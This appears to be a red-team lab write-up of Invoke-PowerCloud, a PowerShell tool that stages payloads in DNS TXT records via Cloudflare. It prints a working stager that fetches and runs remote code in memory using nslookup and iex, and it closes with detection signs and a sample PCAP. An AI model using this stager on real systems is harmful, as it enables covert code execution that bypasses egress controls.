Powershell Payload Delivery via DNS using Invoke-PowerCloud
This lab demos a tool or rather a Powershell script I have written to do what the title says.
Rushing to say that the tool Invoke-PowerCloud was heavily inspired by and based on the awesome work that Dominic Chell (@domchell) from MDSec had done with PowerDNS - go follow them and try out the tool if you have not done it yet.
Not only that, I want to thank Dominic for taking his time to answer some of my questions regarding the PowerDNS, the setup and helping me troubleshoot it as I was having "some" issues getting the payload delivered to the target from the PowerDNS server.
...which eventually led me to Invoke-PowerCloud, so read on.
Invoke-PowerCloud is a script that allows you to deliver a powershell payload using DNS TXT records to a target in an environment that is egress limited to DNS only.
Invoke-PowerCloud works in a similar fashion, except for a couple of key differences, which may simplify the configuration process of your infrastructure to start delivering paylods via DNS.
With PowerDNS you need:
- a dedicated linux box with a public IP where you can run PowerDNS, so it can act as a DNS server
- you also need multiple domain names to get the nameservers configured properly
With Invoke-PowerCloud you need:
- a cloudflare.com account
- a domain name whose DNS management is transferred to cloudflare
The way the tool works is by performing the following high level steps:
- Take the powershell payload file and base64 encode it
- Divide the payload into chunks of 255 bytes
- Create a DNS zone file with DNS TXT records representing each chunk of the payload data retrieved from the previous step
- Send the generated DNS zone file to cloudflare using their APIs
- Generate two stagers for use with authoritative NS/non-authoritative NS
- Stager can then be executed on the victim system. The stager will recover the base64 chunks from the DNS TXT records and rebuild the original payload
- Stager executes the payload in memory!
If you run the tool again to deliver another payload, the previous DNS TXT records will be deleted
Remember - you need a cloudflare.com account for this to work. Assuming you have that, you need to edit the Invoke-PowerCloud as follows:
- 1.your cloudflare API key, defined in the variable
$Global:API_KEY - 2.your cloudflare email address, defined in the variable
$Global:EMAIL
Secondly, you need to move the domain name which you are going to use for payload delivery to cloudflare. In this demo, I will use a domain I own
redteam.me which is now managed by cloudflare:
Let's confirm redteam.me DNS is managed by cloudflare by issuing:
host -t ns redteam.me
Let's create a simple payload file - it will print a red message to the screen and open up a calc.exe:
payload.txt
Write-host -foregroundcolor red "This is our first payload using Invoke-
PowerCloud. As usual, let's pop the calc.exe"; Start-process calc.exe
We are now good to go - issue the below on your attacking system:
PS C:\tools\powercloud> . .\powercloud.ps1; Invoke-PowerCloud -FilePath .\payload.txt -Domain redteam.me -Verbose
The script will generate two stagers. One of them is shown here:
$b64=""; (1..1) | ForEach-Object { $b64+=(nslookup -q=txt "$_.redteam.me")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))
Let's execute the stager on the victim system to get the payload delivered via DNS:
Everything in action can be seen in the below gif:
No. It just works slightly differently, but achieves the same end goal. Also note, that Cloudflare API rate limiting applies.
Let's deliver a PowerShell empire payload using DNS and see how the system reacts to this:
For those wondering about detection possibilities, the following is a list of signs (mix and match) that may qualify the host behaviour as
suspicious and warrant a further investigation:- host "suddenly" bursted "many"
DNS TXTrequests to one domain - DNS queries follow the naming convention of 1, 2, 3, ..., N
- majority of DNS answers contain
TXT Lenghtof255(trivial to change/randomize) - DNS answers are all
TTL = 120(trivial to change/randomize) - TXT data in DNS answer has no white spaces (easy to change)
- host suddenly/in a short span of time spawned "many"
nslookupprocesses - has the endpoint changed once the DNS lookups stopped? i.e new processes spawned?
Below is a snippet of the PCAP showing DNS traffic from the above demo - note the TXT Length and the data itself:
Spike of
nslookup for a host in a short amount of time:
Below is a sample PCAP for your inspection:
dns-packets.pcapng
12KB
Binary
DNS Traffic Packet Trace
You can download or contribute to Invoke-PowerCloud here:
Last modified 1yr ago